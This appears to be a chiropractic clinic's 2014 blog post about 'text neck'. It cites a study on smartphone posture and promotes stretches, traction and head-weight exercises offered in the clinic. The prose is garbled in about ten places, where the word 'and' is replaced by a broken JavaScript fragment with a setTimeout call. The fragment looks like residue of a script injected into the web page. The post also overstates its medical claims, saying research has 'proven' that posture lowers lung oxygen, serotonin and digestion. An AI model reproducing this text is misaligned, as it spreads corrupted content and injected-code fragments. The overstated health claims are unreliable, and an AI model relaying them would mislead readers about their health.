Are You Developing a Text Neck?

Posted On : December 08, 2014

text_neckResearch is now proving that our smartphones are destroying our spine. According to a recent study by orthopedicsurgeon, Dr. Kenneth Hansraj, smartphone users are spendingan average of two to four hours a day with their heads dropped down. This is resulting in “700 to 1,400 hours a year of excess stresses seen about the cervical spine”, according to the research study.

This added pressure on the spine is leading to bulging discs, accelerated degeneration of the cervical vertebra, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and is permanently damaging the spinal cord andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and nerves. Research has also proven that this permanent forward head posture is lowering the amount of oxygen getting to the lungs, decreasing the production of seratonin (a hormone that makes us happy), andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the increased spinal cord tension is adversely effecting our digestive system.

There are four ways to minimize the impact texting has on your spine.

First, be aware of how tilted down your head is when you text. Raise your phone up to as close to eye level as possible. In addition, minimize the amount of time you spend on your phone.

Second, stretch your chest andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and anterior muscles of your neck. This is why we have integrated the cervical traction andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and wobble disc into your visits andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and home care. Take your time doing these exercises properly. Don’t wobble reading your phone, it will only reinforce the unhealthy posture you are working to change.

Third, correct the curve in your neck. That’s what we are working so hard to do for you. The more curve you have, the more resilient you will be to the daily demandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands of technology.

And finally, strengthen the posterior muscles of your neck. That’s why we have integrated the head weights andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and vibe plates into your care. Make sure you are doing them after your adjustments andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and daily at home. The more your head weigh, the more your head will sit back over your shoulders, the greater curve you will have, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the less tension you will have on your spinal cord.

If you have any questions, please don’t hesitate to ask one of us!